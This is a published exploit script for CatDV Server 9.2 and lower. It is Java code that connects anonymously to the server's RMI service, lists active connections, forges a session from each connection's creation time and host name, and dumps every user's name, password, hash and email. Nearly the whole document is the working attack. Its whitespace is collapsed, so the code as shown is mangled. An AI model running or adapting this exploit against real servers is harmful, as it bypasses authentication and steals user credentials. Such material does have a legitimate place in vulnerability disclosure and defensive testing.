# ExploitTitle:CatDV9.2-RMIAuthenticationBypass
# Date:3/1/2021
# ExploitAuthor:ChristopherEllis,NickGonella,WorkdayInc.
# VendorHomepage: https://catdv.com/
# SoftwareLink: https://www.squarebox.com/download/CatDVServer9.2.0.exe
# Version:9.2 and lower
# Tested on:Windows,Macimportorg.h2.engine.User;importsquarebox.catdv.shared.*;importjava.net.MalformedURLException;importjava.rmi.Naming;importjava.rmi.NotBoundException;importjava.rmi.RemoteException;publicclassRunnable{publicRunnable()throwsRemoteException,NotBoundException,MalformedURLException{}privatestaticintgetValidSession(long createdTime,String claimedHost){return(int)createdTime + claimedHost.hashCode();}privatestaticvoidprintFields(SField[] fields){for(SField field : fields){System.out.println(field.fieldDefID);System.out.println(field.value);System.out.println(field.fieldDefinition);}}publicstaticvoidmain(String args[])throwsRemoteException,NotBoundException,MalformedURLException{String target ="rmi://<HOST>:1099/CatDVServer";ServerAPI look_up =(ServerAPI)Naming.lookup(target);System.out.println("Trying to get all connections");SConnection[] connections = look_up.getConnections();for(SConnection element : connections){System.out.println("Found connection:");System.out.println("CatDVUser:"+ element.catdvUser);System.out.println("ApiVersion:"+ element.apiVersion);System.out.println("User:"+ element.user);System.out.println("ClaimedHost:"+ element.claimedHost);System.out.println("ActualHost:"+ element.actualHost);System.out.println("Created:"+ element.created);System.out.println("LastUsed:"+ element.lastUsed);System.out.println("Client features:"+ element.clientFeatures);System.out.println("\n");}System.out.println("Getting system properties");System.out.println("Running from: "+look_up.getProperty("user.dir"));System.out.println("Running on: "+look_up.getProperty("os.arch"));System.out.println("Java version: "+look_up.getProperty("java.version"));//We can create a new client from most of the fields found in the existing connections which we can dump anonymouslyClientID bob=newClientID(
connections[0].catdvUser,
connections[0].claimedHost,getValidSession(connections[0].created,connections[0].claimedHost),
connections[0].created,"");System.out.println("\nCreated a new client with parameters: \n"+""+"user:"+connections[0].catdvUser+"\n"+""+"claimedHost:"+connections[0].claimedHost+"\n"+""+"session:"+getValidSession(connections[0].created,connections[0].claimedHost)+"\n"+""+"created:"+connections[0].created+"\n"+""+"pubkey:"+""+"");String status = look_up.getStatus(bob);System.out.println("Status is: \n "+status);System.out.println("Attempting to dump users: \n");SUser[] users=look_up.getUsers(bob,-1);for(SUser element: users){System.out.println(element.name);System.out.println(element.passwordHash);System.out.println("id:"+ element.ID);System.out.println("realname:"+ element.realname);System.out.println("email:"+ element.email);System.out.println("password:"+ element.password);System.out.println("notes:"+ element.notes);System.out.println("inactive:"+ element.inactive);System.out.println("RoleiD:"+ element.roleID);System.out.println("hash:"+ element.passwordHash);System.out.println("");}}}